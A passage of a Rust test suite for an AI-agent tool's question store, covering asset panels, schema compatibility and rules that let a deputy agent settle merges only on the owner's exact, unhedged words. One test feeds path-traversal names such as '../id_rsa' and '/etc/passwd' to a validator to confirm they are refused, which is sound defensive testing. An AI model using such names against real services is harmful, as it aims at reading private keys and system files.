2885 );
2886 assert_eq!(
2887 expand("no placeholders", &q.run, &q.summary, "http://x"),
2888 "no placeholders"
2889 );
2890 }
2891
2892 #[test]
2893 fn the_notification_link_lands_on_the_view_that_can_answer() {
2894 assert_eq!(
2895 question_url("http://100.64.0.1:7777"),
2896 "http://100.64.0.1:7777/#/questions"
2897 );
2898 assert_eq!(
2899 question_url("http://100.64.0.1:7777/"),
2900 "http://100.64.0.1:7777/#/questions"
2901 );
2902 assert_eq!(
2904 question_url("http://magi.ts.net/#/runs"),
2905 "http://magi.ts.net/#/runs"
2906 );
2907 assert_eq!(question_url(" "), "");
2909 }
2910
2911 fn panelled() -> Question {
2913 let mut q = choice_question();
2914 q.id = "20260903-014455-ab12".to_owned();
2915 q
2916 }
2917
2918 #[test]
2919 fn a_panel_round_trips_verbatim_with_its_assets_listed_sorted() {
2920 let (dir, s) = store();
2921 let work = dir.path().join("worktree");
2922 std::fs::create_dir_all(&work).unwrap();
2923 std::fs::write(work.join("diff.svg"), "<svg/>").unwrap();
2924 std::fs::write(work.join("table.png"), b"\x89PNG").unwrap();
2925
2926 let mut q = panelled();
2927 let html = "<h1>Merge?</h1>\n<img src=\"asset/diff.svg\">\n";
2928 s.put_panel(
2929 &mut q,
2930 html,
2931 &[work.join("table.png"), work.join("diff.svg")],
2932 )
2933 .unwrap();
2934 s.put(&mut q).unwrap();
2935
2936 assert!(q.panel);
2937 assert_eq!(
2938 q.assets,
2939 ["diff.svg", "table.png"],
2940 "sorted, not in the order the agent happened to pass them"
2941 );
2942 assert_eq!(
2943 s.panel_html(&q.id).as_deref(),
2944 Some(html),
2945 "the html is stored byte for byte; the agent authored the markup"
2946 );
2947 assert_eq!(
2948 s.panel_asset(&q.id, "diff.svg").unwrap().as_deref(),
2949 Some(&b"<svg/>"[..])
2950 );
2951
2952 let body = std::fs::read_to_string(s.path_of(&q.id)).unwrap();
2954 let json: serde_json::Value = serde_json::from_str(&body).unwrap();
2955 assert_eq!(json["panel"], true);
2956 assert_eq!(json["assets"], serde_json::json!(["diff.svg", "table.png"]));
2957 let back = s.get(&q.id).unwrap();
2958 assert!(back.panel);
2959 assert_eq!(back.assets, q.assets);
2960
2961 std::fs::remove_dir_all(&work).unwrap();
2964 assert_eq!(
2965 s.panel_asset(&q.id, "table.png").unwrap().as_deref(),
2966 Some(&b"\x89PNG"[..]),
2967 "a referenced asset would be gone with the worktree"
2968 );
2969 }
2970
2971 #[test]
2972 fn a_traversal_asset_name_is_refused_before_the_filesystem_is_touched() {
2973 let (dir, s) = store();
2974 let mut q = panelled();
2975 s.put_panel(&mut q, "<p>ok</p>", &[]).unwrap();
2976 s.put(&mut q).unwrap();
2977
2978 let secret = "this must never reach the browser";
2981 std::fs::write(s.root().join("id_rsa"), secret).unwrap();
2982 assert_eq!(
2983 std::fs::read_to_string(s.panel_dir(&q.id).join("../id_rsa")).unwrap(),
2984 secret,
2985 "the traversal is real: the operating system resolves this path \
2986 happily, which is why the name has to be refused before the join"
2987 );
2988
2989 let long = "x".repeat(200);
2990 for name in [
2991 "..",
2992 "../id_rsa",
2993 "..\\id_rsa",
2994 "sub/../id_rsa",
2995 "/",
2996 "\\",
2997 "/etc/passwd",
2998 "C:\\Windows\\win.ini",
2999 "",
3000 ".hidden",
3001 ".",
3002 long.as_str(),
3003 ] {
3004 assert!(!valid_asset_name(name), "`{name}` must fail the pattern");
3005 let e = s.panel_asset(&q.id, name).unwrap_err().to_string();
3006 assert!(
3007 e.contains("not a panel file name"),
3008 "`{name}` must be refused as a name, not attempted: {e}"
3009 );
3010 assert!(!e.contains(secret), "`{name}` reached the filesystem: {e}");
3011 }
3012 assert!(s.panel_asset(&q.id, "index.html").unwrap().is_some());
3015
3016 let hidden = dir.path().join(".hidden");
3019 std::fs::write(&hidden, "x").unwrap();
3020 let e = s
3021 .put_panel(&mut q, "<p>replacement</p>", &[hidden])
3022 .unwrap_err()
3023 .to_string();
3024 assert!(e.contains(".hidden") && e.contains("A-Za-z0-9"), "{e}");
3025 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>ok</p>"));
3026 assert!(q.assets.is_empty());
3027 }
3028
3029 #[test]
3030 fn the_panel_size_cap_refuses_an_oversized_asset_set_and_writes_nothing() {
3031 let (dir, s) = store();
3032 let mut q = panelled();
3033 s.put(&mut q).unwrap();
3034
3035 let big = dir.path().join("recording.png");
3038 std::fs::File::create(&big)
3039 .unwrap()
3040 .set_len(PANEL_MAX_BYTES)
3041 .unwrap();
3042
3043 let html = "<p>see the recording</p>";
3044 let total = PANEL_MAX_BYTES + html.len() as u64;
3045 let e = s.put_panel(&mut q, html, &[big]).unwrap_err().to_string();
3046 assert!(
3047 e.contains(&PANEL_MAX_BYTES.to_string()),
3048 "the cap is named so the agent knows the limit: {e}"
3049 );
3050 assert!(
3051 e.contains(&total.to_string()),
3052 "the actual size is named so the agent knows by how much: {e}"
3053 );
3054
3055 assert!(!q.panel);
3056 assert!(q.assets.is_empty());
3057 let left: Vec<String> = std::fs::read_dir(s.root())
3058 .unwrap()
3059 .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())
3060 .collect();
3061 assert_eq!(
3062 left,
3063 [format!("{}.json", q.id)],
3064 "a refused panel leaves neither a directory nor scratch: {left:?}"
3065 );
3066 }
3067
3068 #[test]
3069 fn two_assets_sharing_a_base_name_are_refused_rather_than_one_hiding_the_other() {
3070 let (dir, s) = store();
3071 let (before, after) = (dir.path().join("before"), dir.path().join("after"));
3072 std::fs::create_dir_all(&before).unwrap();
3073 std::fs::create_dir_all(&after).unwrap();
3074 std::fs::write(before.join("diff.png"), "before").unwrap();
3075 std::fs::write(after.join("diff.png"), "after").unwrap();
3076
3077 let mut q = panelled();
3078 let e = s
3079 .put_panel(
3080 &mut q,
3081 "<p>x</p>",
3082 &[before.join("diff.png"), after.join("diff.png")],
3083 )
3084 .unwrap_err()
3085 .to_string();
3086 assert!(e.contains("diff.png"), "{e}");
3087 assert!(
3088 e.contains("before") && e.contains("after"),
3089 "both sources are named, because the fix is to rename one: {e}"
3090 );
3091 assert!(!q.panel);
3092 assert!(!s.panel_dir(&q.id).exists());
3093 }
3094
3095 #[test]
3096 fn storing_a_panel_twice_replaces_it_rather_than_merging_two_attempts() {
3097 let (dir, s) = store();
3098 std::fs::write(dir.path().join("old.png"), "old").unwrap();
3099 std::fs::write(dir.path().join("new.png"), "new").unwrap();
3100
3101 let mut q = panelled();
3102 s.put_panel(&mut q, "<p>first</p>", &[dir.path().join("old.png")])
3103 .unwrap();
3104 s.put_panel(&mut q, "<p>second</p>", &[dir.path().join("new.png")])
3105 .unwrap();
3106
3107 assert_eq!(q.assets, ["new.png"]);
3108 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>second</p>"));
3109 assert!(
3110 s.panel_asset(&q.id, "old.png").unwrap().is_none(),
3111 "an asset from the first attempt would show a mix of two answers"
3112 );
3113
3114 s.drop_panel(&q.id).unwrap();
3115 assert!(s.panel_html(&q.id).is_none());
3116 assert!(!s.panel_dir(&q.id).exists());
3117 s.drop_panel(&q.id)
3118 .expect("dropping a panel that is already gone is the desired state");
3119 }
3120
3121 #[test]
3122 fn a_question_with_no_panel_reports_none_rather_than_an_error() {
3123 let (_dir, s) = store();
3124 let mut q = panelled();
3125 s.put(&mut q).unwrap();
3126
3127 assert!(!q.panel);
3128 assert!(s.panel_html(&q.id).is_none());
3129 assert!(
3130 s.panel_asset(&q.id, "diff.svg").unwrap().is_none(),
3131 "a missing file is a 404 for the caller, not a failure of the store"
3132 );
3133 let json = serde_json::to_value(&q).unwrap();
3134 assert_eq!(json["panel"], false);
3135 assert_eq!(json["assets"], serde_json::json!([]));
3136
3137 let e = s.put_panel(&mut q, " \n", &[]).unwrap_err().to_string();
3140 assert!(e.contains("empty panel"), "{e}");
3141 assert!(!s.panel_dir(&q.id).exists());
3142 }
3143
3144 #[test]
3145 fn a_question_written_before_panels_existed_still_deserialises() {
3146 let (_dir, s) = store();
3147 std::fs::create_dir_all(s.root()).unwrap();
3148 let id = "20260902-231501-ab12";
3149 let body = r#"{
3151 "schema": 1,
3152 "id": "20260902-231501-ab12",
3153 "run": "20260902-201256-9fb7",
3154 "node": "implement",
3155 "seat": "impl-A",
3156 "summary": "Which storage backend should the cache use?",
3157 "detail": "Both are already dependencies.",
3158 "choices": ["SQLite", "Redis"],
3159 "status": "open",
3160 "asked_at": "2026-09-02T23:15:01Z",
3161 "answered_at": null,
3162 "answer": null
3163}"#;
3164 std::fs::write(s.path_of(id), body).unwrap();
3165
3166 let q = s.get(id).unwrap();
3167 assert!(
3168 !q.panel,
3169 "an absent field means no panel, not a parse error"
3170 );
3171 assert!(q.assets.is_empty());
3172 assert_eq!(q.schema, 1);
3177 assert!(q.thread.is_empty());
3178 assert_eq!(
3179 q.answer_timeout, 0,
3180 "an absent field means unrecorded, not a zero-second deadline"
3181 );
3182 assert!(!q.waiting_on_agent());
3183 assert_eq!(q.summary, "Which storage backend should the cache use?");
3184 assert_eq!(
3185 s.list().len(),
3186 1,
3187 "and it is still listed; skipping it would hide an open question"
3188 );
3189 }
3190
3191 fn turn(who: Who, body: &str, at: Timestamp) -> Turn {
3192 Turn {
3193 who,
3194 body: body.to_owned(),
3195 at,
3196 note: None,
3197 }
3198 }
3199
3200 #[test]
3201 fn a_turn_round_trips_as_who_body_at_with_two_named_speakers() {
3202 let mut q = choice_question();
3205 q.thread
3206 .push(turn(Who::Operator, "why not Postgres?", Timestamp::now()));
3207 let value = serde_json::to_value(&q.thread[0]).unwrap();
3208 let mut keys: Vec<&str> = value
3209 .as_object()
3210 .unwrap()
3211 .keys()
3212 .map(String::as_str)
3213 .collect();
3214 keys.sort_unstable();
3215 assert_eq!(keys, ["at", "body", "who"]);
3216 assert_eq!(value["who"], "operator");
3217 assert_eq!(value["body"], "why not Postgres?");
3218
3219 let agent_turn = serde_json::json!({"who": "agent", "body": "hi", "at": value["at"]});
3220 let parsed: Turn = serde_json::from_value(agent_turn).unwrap();
3221 assert_eq!(parsed.who, Who::Agent);
3222 }
3223
3224 fn approval_question() -> Question {
3225 let mut q = Question::new(
3226 "run".into(),
3227 crate::land::APPROVAL_NODE.into(),
3228 "land".into(),
3229 "Merge?".into(),
3230 String::new(),
3231 vec!["merge".into(), "hold".into()],
3232 );
3233 let mut dep = Deputy::new("brief".into());
3234 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3235 q.deputy = Some(dep);
3236 q
3237 }
3238
3239 #[test]
3240 fn deputy_batch_words_never_replace_specific_consent_or_a_recommendation_manifest() {
3241 for choice in [
3242 crate::merge_decision::WITHDRAW,
3243 "reimplement:primary",
3244 "retry",
3245 "discard",
3246 ] {
3247 let mut q = approval_question();
3248 q.choices.push(choice.into());
3249 if matches!(choice, "retry" | "discard") {
3250 q.node = "recovery".into();
3251 }
3252 if choice == "discard" {
3253 q.actions.insert(choice.into(), ChoiceAction::Done);
3254 }
3255 let words = "おっけーそれぞれ回答してー";
3256 q.say(words).unwrap();
3257 let error = q
3258 .settle_by_deputy("deputy-x", choice, words, None)
3259 .unwrap_err()
3260 .to_string();
3261 assert!(
3262 error.contains(if choice == "retry" {
3263 "manifest"
3264 } else {
3265 "individual owner confirmation"
3266 }),
3267 "{choice}: {error}"
3268 );
3269 assert!(q.status.open());
3270 }
3271 }
3272
3273 #[test]
3274 fn merge_decision_deputy_requires_current_head_confirmation_and_exact_stop_tokens() {
3275 for choice in [
3276 crate::land::HOLD,
3277 crate::land::REPAIR,
3278 crate::merge_decision::WITHDRAW,
3279 "reimplement:beta",
3280 ] {
3281 let mut q = approval_question();
3282 q.node = crate::land::APPROVAL_NODE.into();
3283 q.choices = vec!["merge".into(), choice.into()];
3284 q.merge_target = Some(crate::merge_decision::Target {
3285 pr: "PR 42".into(),
3286 head: "abc".into(),
3287 language: "en".into(),
3288 });
3289 q.say(format!("Should we choose {choice}?")).unwrap();
3290 assert!(
3291 q.settle_by_deputy("deputy-x", choice, choice, None)
3292 .is_err()
3293 );
3294 q.say(choice).unwrap();
3295 q.settle_by_deputy("deputy-x", choice, choice, None)
3296 .unwrap();
3297 assert_eq!(q.resolution().as_deref(), Some(choice));
3298 }
3299 let mut q = approval_question();
3300 q.node = crate::land::APPROVAL_NODE.into();
3301 q.choices = vec!["merge".into(), "hold".into()];
3302 q.merge_target = Some(crate::merge_decision::Target {
3303 pr: "PR 42".into(),
3304 head: "new-head".into(),
3305 language: "en".into(),
3306 });
3307 q.say("merge old-head").unwrap();
3308 assert!(
3309 q.settle_by_deputy("deputy-x", "merge", "merge old-head", None)
3310 .is_err()
3311 );
3312 q.say("merge new-head").unwrap();
3313 q.settle_by_deputy("deputy-x", "merge", "merge new-head", None)
3314 .unwrap();
3315 }
3316
3317 #[test]
3318 fn merge_repair_deputy_settle_requires_the_exact_latest_owner_choice() {
3319 let mut q = approval_question();
3320 q.choices.push(crate::land::REPAIR.into());
3321 q.say("maybe fix findings and re-review").unwrap();
3322 assert!(
3323 q.settle_by_deputy("deputy-x", crate::land::REPAIR, crate::land::REPAIR, None)
3324 .is_err()
3325 );
3326 q.say(crate::land::REPAIR).unwrap();
3327 q.settle_by_deputy("deputy-x", crate::land::REPAIR, crate::land::REPAIR, None)
3328 .unwrap();
3329 assert_eq!(q.resolution().as_deref(), Some(crate::land::REPAIR));
3330 assert_eq!(
3331 crate::land::approval(q.resolution().as_deref()),
3332 crate::land::Approval::Repair
3333 );
3334 }
3335
3336 #[test]
3337 fn a_merge_approval_settles_on_a_verbatim_quote_of_the_latest_message() {
3338 let mut q = approval_question();
3339 q.say("merge").unwrap();
3340 q.reply("sure?", vec!["merge".into(), "hold".into()])
3341 .unwrap();
3342 q.say(" Merge it please ").unwrap();
3343 assert!(
3344 q.settle_by_deputy("deputy-x", "merge", " ", None)
3345 .is_err(),
3346 "an empty quote is refused"
3347 );
3348 assert!(
3349 q.settle_by_deputy("deputy-x", "merge", "ship it", None)
3350 .is_err(),
3351 "a quote the owner never said is refused"
3352 );
3353 assert_eq!(q.status, QuestionStatus::Open);
3354 q.settle_by_deputy("deputy-x", "merge", "Merge it please", None)
3355 .unwrap();
3356 assert_eq!(q.resolution().as_deref(), Some("merge"));
3357 }
3358
3359 #[test]
3360 fn posting_the_original_text_needs_an_unhedged_verbatim_quote() {
3361 use crate::github_text::{POST_ORIGINAL, USE_FALLBACK};
3362 let mk = || {
3363 let mut q = Question::new(
3364 "run".into(),
3365 crate::github_text::ASK_NODE.into(),
3366 crate::github_text::ASK_SEAT.into(),
3367 "s".into(),
3368 String::new(),
3369 vec![USE_FALLBACK.into(), POST_ORIGINAL.into()],
3370 );
3371 let mut dep = Deputy::new("brief".into());
3372 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3373 q.deputy = Some(dep);
3374 q
3375 };
3376 let mut hedged = mk();
3377 hedged.say("Post the original, maybe?").unwrap();
3378 assert!(
3379 hedged
3380 .settle_by_deputy("deputy-x", POST_ORIGINAL, "Post the original", None)
3381 .is_err()
3382 );
3383 let mut clear = mk();
3384 clear.say("Post the original text as it is.").unwrap();
3385 clear
3386 .settle_by_deputy("deputy-x", POST_ORIGINAL, "Post the original text", None)
3387 .unwrap();
3388 assert_eq!(clear.resolution().as_deref(), Some(POST_ORIGINAL));
3389 let mut japanese = mk();
3390 let words = "いいや、まだ説明が足りない。元の説明で投稿してください。";
3391 japanese.say(words).unwrap();
3392 japanese
3393 .settle_by_deputy("deputy-x", POST_ORIGINAL, words, None)
3394 .unwrap();
3395 let mut unrelated = mk();
3396 unrelated.say("Proceed with the task").unwrap();
3397 assert!(
3398 unrelated
3399 .settle_by_deputy("deputy-x", POST_ORIGINAL, "Proceed with the task", None)
3400 .is_err()
3401 );
3402 for words in [
3403 "OK, post the original",
3404 "Yes, post original",
3405 "I'd like to post the original",
3406 ] {
3407 let mut natural = mk();
3408 natural.say(words).unwrap();
3409 natural
3410 .settle_by_deputy("deputy-x", POST_ORIGINAL, words, None)
3411 .unwrap();
3412 }
3413 for (message, quote) in [
3414 (
3415 "ログには「元の説明で投稿しました」と記録されています。",
3416 "ログには「元の説明で投稿しました」と記録されています。",
3417 ),
3418 (
3419 "ログには「元の説明で投稿してください」と記録されています。",
3420 "元の説明で投稿してください",
3421 ),
3422 ] {
3423 let mut descriptive = mk();
3424 descriptive.say(message).unwrap();
3425 assert!(
3426 descriptive
3427 .settle_by_deputy("deputy-x", POST_ORIGINAL, quote, None)
3428 .is_err()
3429 );
3430 assert!(descriptive.status.open());
3431 assert!(descriptive.answer.is_none());
3432 }
3433 let mut descriptive = mk();
3434 let message = "Post original was the option I saw.";
3435 descriptive.say(message).unwrap();
3436 for quote in [message, "Post original"] {
3437 assert!(
3438 descriptive
3439 .settle_by_deputy("deputy-x", POST_ORIGINAL, quote, None)
3440 .is_err()
3441 );
3442 assert!(descriptive.status.open());
3443 assert!(descriptive.answer.is_none());
3444 }
3445 let mut safe = mk();
3447 safe.say("use the fallback").unwrap();
3448 safe.settle_by_deputy("deputy-x", USE_FALLBACK, "use the fallback", None)
3449 .unwrap();
3450 }
3451
3452 #[test]
3453 fn posting_deputy_rejects_multiline_quoted_context() {
3454 use crate::github_text::{ASK_NODE, ASK_SEAT, POST_ORIGINAL, USE_FALLBACK, USE_REWRITE};
3455 for (command, choice) in [
3456 ("Post original", POST_ORIGINAL),
3457 ("Use rewrite", USE_REWRITE),
3458 ] {
3459 for message in [
3460 format!("The log contains:\n```\n{command}\n```"),
3461 format!("The log contains:\n\"\n{command}\n\""),
3462 format!("The log says: “Reported. {command}.”"),
3463 format!("The log says: “\n{command}\n”"),
3464 ]
3465 .into_iter()
3466 .chain(crate::github_text::reported_posting_messages(command))
3467 {
3468 let mut q = Question::new(
3469 "run".into(),
3470 ASK_NODE.into(),
3471 ASK_SEAT.into(),
3472 "s".into(),
3473 String::new(),
3474 vec![USE_FALLBACK.into(), choice.into()],
3475 );
3476 let mut dep = Deputy::new("brief".into());
3477 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3478 q.deputy = Some(dep);
3479 q.say(&message).unwrap();
3480 let tmp = tempfile::tempdir().unwrap();
3481 let questions = Questions::at(tmp.path().join("questions"));
3482 questions.put(&mut q).unwrap();
3483 for quote in [command, message.as_str()] {
3484 assert!(
3485 questions
3486 .update(&q.id, |stored| {
3487 stored.settle_by_deputy("deputy-x", choice, quote, None)
3488 })
3489 .is_err()
3490 );
3491 let after = questions.get(&q.id).unwrap();
3492 assert!(after.status.open());
3493 assert!(after.answer.is_none());
3494 }
3495 }
3496 }
3497 }
3498
3499 #[test]
3500 fn posting_the_rewrite_needs_an_unhedged_verbatim_quote() {
3501 use crate::github_text::{USE_FALLBACK, USE_REWRITE};
3502 let mk = || {
3503 let mut q = Question::new(
3504 "run".into(),
3505 crate::github_text::ASK_NODE.into(),
3506 crate::github_text::ASK_SEAT.into(),
3507 "s".into(),
3508 String::new(),
3509 vec![USE_FALLBACK.into(), USE_REWRITE.into()],
3510 );
3511 let mut dep = Deputy::new("brief".into());
3512 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3513 q.deputy = Some(dep);
3514 q
3515 };
3516 let mut hedged = mk();
3517 hedged.say("Use the rewrite, maybe?").unwrap();
3518 assert!(
3519 hedged
3520 .settle_by_deputy("deputy-x", USE_REWRITE, "Use the rewrite", None)
3521 .is_err()
3522 );
3523 let mut descriptive = mk();
3524 let message = "Use rewrite was the option I saw.";
3525 descriptive.say(message).unwrap();
3526 for quote in [message, "Use rewrite"] {
3527 assert!(
3528 descriptive
3529 .settle_by_deputy("deputy-x", USE_REWRITE, quote, None)
3530 .is_err()
3531 );
3532 assert!(descriptive.status.open());
3533 assert!(descriptive.answer.is_none());
3534 }
3535 for words in [
3536 "Use the rewrite text as it is.",
3537 "I'd like to use the rewrite",
3538 "修正版で投稿してください。",
3539 ] {
3540 let mut clear = mk();
3541 clear.say(words).unwrap();
3542 clear
3543 .settle_by_deputy("deputy-x", USE_REWRITE, words, None)
3544 .unwrap();
3545 assert_eq!(clear.resolution().as_deref(), Some(USE_REWRITE));
3546 }
3547 let mut safe = mk();
3549 safe.say("use the fallback").unwrap();
3550 safe.settle_by_deputy("deputy-x", USE_FALLBACK, "use the fallback", None)
3551 .unwrap();
3552 }
3553
3554 #[test]
3555 fn a_local_release_approval_is_held_to_the_merge_rules_but_an_escalation_is_not() {
3556 let mk = |choices: Vec<String>| {
3557 let mut q = Question::new(
3558 String::new(),
3559 crate::bump::NOTICE_NODE.into(),
3560 "release-watch".into(),
3561 "Release?".into(),
3562 String::new(),
3563 choices,
3564 );
3565 let mut dep = Deputy::new("brief".into());
3566 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3567 q.deputy = Some(dep);
3568 q
3569 };
3570 let mut approval = mk(vec!["merge".into(), "hold".into()]);
3571 assert!(crate::deputy::merge_gated(&approval));
3572 approval.say("マージしていいよ").unwrap();
3573 assert!(
3574 approval
3575 .settle_by_deputy("deputy-x", "merge", "ぜひマージして", None)
3576 .is_err(),
3577 "a quote the owner never said is refused"
3578 );
3579 approval
3580 .settle_by_deputy("deputy-x", "merge", "マージしていいよ", None)
3581 .unwrap();
3582
3583 let mut esc = mk(vec!["rerun again".into(), "hold".into(), "leave it".into()]);
3584 assert!(!crate::deputy::merge_gated(&esc));
3585 esc.say("もう監視はいらない").unwrap();
3586 esc.settle_by_deputy("deputy-x", "leave it", "監視はいらない", None)
3587 .unwrap();
3588 assert_eq!(esc.resolution().as_deref(), Some("leave it"));
3589 }
3590
3591 #[test]
3592 fn a_merge_among_other_requests_settles_but_hold_needs_the_whole_message() {
3593 let mut q = approval_question();
3594 q.say("マージしていいよ。残りのレビュー指摘はフォローアップタスクとして積んで")
3595 .unwrap();
3596 assert!(
3597 q.settle_by_deputy("deputy-x", "merge", "どこかの言葉", None)
3598 .is_err(),
3599 "the quote must be the owner's"
3600 );
3601 assert!(
3602 q.settle_by_deputy("deputy-x", "hold", "マージしていいよ", None)
3603 .is_err(),
3604 "`hold` still needs the whole message"
3605 );
3606 q.settle_by_deputy("deputy-x", "merge", "マージしていいよ", None)
3607 .unwrap();
3608 assert_eq!(q.resolution().as_deref(), Some("merge"));
3609 }
3610
3611 fn settle_ready() -> Question {
3612 let mut q = Question::new(
3613 "task".to_owned(),
3614 "conduct".to_owned(),
3615 "conduct".to_owned(),
3616 "Done?".to_owned(),
3617 String::new(),
3618 vec!["yes".to_owned(), "no".to_owned()],
3619 );
3620 let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3621 seat.turns = 1;
3622 let mut dep = Deputy::new("brief".to_owned());
3623 dep.seat = Some(seat);
3624 q.deputy = Some(dep);
3625 q.say("setup done, and file a follow-up").unwrap();
3626 q
3627 }
3628
3629 #[test]
3630 fn a_settle_note_is_stored_on_the_turn_through_update_and_reads_back() {
3631 let dir = tempfile::TempDir::new().unwrap();
3632 let store = Questions::at(dir.path().join("questions"));
3633 let mut q = settle_ready();
3634 let id = q.id.clone();
3635 store.put(&mut q).unwrap();
3636 store
3637 .update(&id, |q| {
3638 q.settle_by_deputy(
3639 "deputy-x",
3640 "yes",
3641 "setup done",
3642 Some(" no follow-up was queued "),
3643 )
3644 })
3645 .unwrap();
3646 let back = store.get(&id).unwrap();
3647 let turn = back.thread.last().unwrap();
3648 assert_eq!(turn.who, Who::Agent);
3649 assert!(turn.body.starts_with("Settled as `yes`"));
3650 assert_eq!(turn.note.as_deref(), Some("no follow-up was queued"));
3651 assert_eq!(back.thread[0].note, None);
3652 }
3653
3654 #[test]
3655 fn an_empty_or_blank_settle_note_is_no_note() {
3656 for note in [None, Some(""), Some(" \n ")] {
3657 let mut q = settle_ready();
3658 q.settle_by_deputy("deputy-x", "yes", "setup done", note)
3659 .unwrap();
3660 assert_eq!(q.thread.last().unwrap().note, None, "{note:?}");
3661 let json = serde_json::to_string(&q).unwrap();
3662 assert!(!json.contains("\"note\""), "no key when there is none");
3663 }
3664 }
3665
3666 #[test]
3667 fn a_refused_settle_leaves_no_note_behind() {
3668 let mut q = settle_ready();
3669 let before = q.thread.clone();
3670 assert!(
3671 q.settle_by_deputy("deputy-x", "yes", "never said this", Some("n"))
3672 .is_err()
3673 );
3674 assert!(
3675 q.settle_by_deputy("someone-else", "yes", "setup done", Some("n"))
3676 .is_err()
3677 );
3678 assert_eq!(q.thread, before);
3679 assert_eq!(q.status, QuestionStatus::Open);
3680 }
3681
3682 #[test]
3683 fn a_turn_written_before_notes_existed_still_reads() {
3684 let t: Turn =
3685 serde_json::from_str(r#"{"who":"agent","body":"old","at":"2026-01-01T00:00:00Z"}"#)
3686 .unwrap();
3687 assert_eq!(t.note, None);
3688 }
3689
3690 #[test]
3691 fn a_quote_from_an_earlier_owner_message_does_not_settle_a_merge() {
3692 let mut q = approval_question();
3693 q.say("merge").unwrap();
3694 q.reply("sure?", vec!["merge".into(), "hold".into()])
3695 .unwrap();
3696 q.say("wait, hold off").unwrap();
3697 assert!(
3698 q.settle_by_deputy("deputy-x", "merge", "merge", None)
3699 .is_err()
3700 );
3701 assert_eq!(q.status, QuestionStatus::Open);
3702 }
3703
3704 #[test]
3705 fn a_deputy_settles_only_on_an_offered_choice_and_the_owners_own_words() {
3706 let mut q = Question::new(
3707 "task".to_owned(),
3708 "conduct".to_owned(),
3709 "conduct".to_owned(),
3710 "Done?".to_owned(),
3711 String::new(),
3712 vec!["yes".to_owned(), "no".to_owned()],
3713 );
3714 let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3715 seat.turns = 1;
3716 let mut dep = Deputy::new("brief".to_owned());
3717 dep.seat = Some(seat);
3718 q.deputy = Some(dep);
3719 q.say("setup done, go ahead").unwrap();
3720
3721 assert!(
3722 q.settle_by_deputy("someone-else", "yes", "setup done", None)
3723 .is_err()
3724 );
3725 assert!(
3726 q.settle_by_deputy("deputy-x", "maybe", "setup done", None)
3727 .is_err()
3728 );
3729 assert!(
3730 q.settle_by_deputy("deputy-x", "yes", "never said this", None)
3731 .is_err()
3732 );
3733 assert!(q.settle_by_deputy("deputy-x", "yes", " ", None).is_err());
3734 assert_eq!(q.status, QuestionStatus::Open);
3735
3736 q.settle_by_deputy("deputy-x", "yes", "setup done", None)
3737 .unwrap();
3738 assert_eq!(q.status, QuestionStatus::Answered);
3739 assert_eq!(q.resolution().as_deref(), Some("yes"));
3740 let last = q.thread.last().unwrap();
3741 assert_eq!(last.who, Who::Agent);
3742 assert!(
3743 last.body.contains("setup done"),
3744 "the quote stays on the record"
3745 );
3746 }
3747
3748 #[test]
3749 fn a_question_written_before_deputies_still_reads() {
3750 let mut q = Question::new(
3751 "task".to_owned(),
3752 "conduct".to_owned(),
3753 "conduct".to_owned(),
3754 "Done?".to_owned(),
3755 String::new(),
3756 Vec::new(),
3757 );
3758 q.schema = 4;
3759 let mut v = serde_json::to_value(&q).unwrap();
3760 v.as_object_mut().unwrap().remove("deputy");
3761 let back: Question = serde_json::from_value(v).unwrap();
3762 assert!(back.deputy.is_none());
3763 }
3764
3765 #[test]
3766 fn saying_something_appends_an_operator_turn_without_deciding_anything() {
3767 let mut q = choice_question();
3768 q.say("does the cache need eviction?").unwrap();
3769 assert_eq!(q.thread.len(), 1);
3770 assert_eq!(q.thread[0].who, Who::Operator);
3771 assert_eq!(q.thread[0].body, "does the cache need eviction?");
3772 assert_eq!(q.status, QuestionStatus::Open);
3775 assert!(q.answer.is_none());
3776 assert!(q.waiting_on_agent(), "the ball is now in the agent's court");
3777 }
3778
3779 #[test]
3780 fn saying_and_replying_are_refused_on_a_settled_question_and_on_empty_text() {
3781 let mut answered = choice_question();
3782 answered
3783 .answer(Answer::Choice("SQLite".to_owned()))
3784 .unwrap();
3785 let a = answered.say("still there?").unwrap_err().to_string();
3786 assert!(a.contains("already answered"), "{a}");
3787 let b = answered
3788 .reply("still there?", vec![])
3789 .unwrap_err()
3790 .to_string();
3791 assert!(b.contains("already answered"), "{b}");
3792
3793 let mut abandoned = choice_question();
3794 abandoned.abandon("timed out");
3795 let c = abandoned.say("hello?").unwrap_err().to_string();
3796 assert!(c.contains("abandoned"), "{c}");
3797
3798 let mut open = choice_question();
3799 let d = open.say(" ").unwrap_err().to_string();
3800 assert!(d.contains("empty"), "{d}");
3801 let e = open.reply(" \n", vec![]).unwrap_err().to_string();
3802 assert!(e.contains("empty"), "{e}");
3803 assert!(open.thread.is_empty(), "a refused turn leaves no trace");
3804 }
3805
3806 #[test]
3807 fn a_reply_replaces_the_choices_and_moves_the_ball_back_to_the_owner() {
3808 let mut q = choice_question();
3809 q.say("SQLite or Redis, but what about disk space?")
3810 .unwrap();
3811 assert!(q.waiting_on_agent());
3812
3813 q.reply(
3814 "SQLite: it is one file, no server to run.",
3815 vec!["SQLite".to_owned()],
3816 )
3817 .unwrap();
3818
3819 assert_eq!(q.choices, ["SQLite"]);
3820 assert!(
3821 !q.waiting_on_agent(),
3822 "the agent spoke, so the owner is the one being waited on now"
3823 );
3824 assert_eq!(q.thread.len(), 2);
3825 assert_eq!(q.thread[1].who, Who::Agent);
3826
3827 assert!(q.answer(Answer::Choice("Redis".to_owned())).is_err());
3829 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3830 assert_eq!(q.resolution().as_deref(), Some("SQLite"));
3831 }
3832
3833 #[test]
3834 fn notification_fires_for_the_first_ask_and_only_after_the_quiet_window_on_a_reply() {
3835 let mut fresh = choice_question();
3836 assert!(
3837 fresh.should_notify(Timestamp::now()),
3838 "nobody has been notified yet, so the first ask always pages"
3839 );
3840
3841 fresh.say("why not Postgres?").unwrap();
3842 let just_said = fresh.thread[0].at;
3843 assert!(
